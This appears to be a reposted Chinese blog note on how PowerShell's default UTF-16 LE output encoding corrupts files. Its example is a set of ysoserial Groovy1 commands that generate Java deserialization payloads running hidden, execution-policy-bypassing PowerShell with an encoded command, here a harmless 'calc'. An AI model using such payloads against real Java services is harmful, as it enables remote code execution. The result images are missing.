powershell 中文系统默认UTF-16 (LE) UNICODE编码 使用时需小心

Posted primzahl

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了powershell 中文系统默认UTF-16 (LE) UNICODE编码 使用时需小心相关的知识,希望对你有一定的参考价值。

现象:

1.cmd生成payload

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload.bin

2.powershell生成payload

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload2.bin

第二次生成:

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" | Out-File -Encoding default payload3.bin

3.结果对比

技术图片

4.学习

https://wenku.baidu.com/view/768a052b915f804d2b16c149.html

https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Utility/Out-File?view=powershell-6

 技术图片

 

技术图片

 

以上是关于powershell 中文系统默认UTF-16 (LE) UNICODE编码 使用时需小心的主要内容,如果未能解决你的问题,请参考以下文章

将 PowerShell 的默认输出编码更改为 UTF-8

将PowerShell的默认输出编码更改为UTF-8

在 Powershell 中将 UFT-8 xml 转换为 Unicode 时,$encoding 属性值在输出 xml 中显示 bigEndianUnicode,我想要 UTF-16

为啥 .net 对字符串使用 UTF16 编码,但默认使用 UTF-8 来保存文件?

wxWidgets源码分析 - wxString

3.9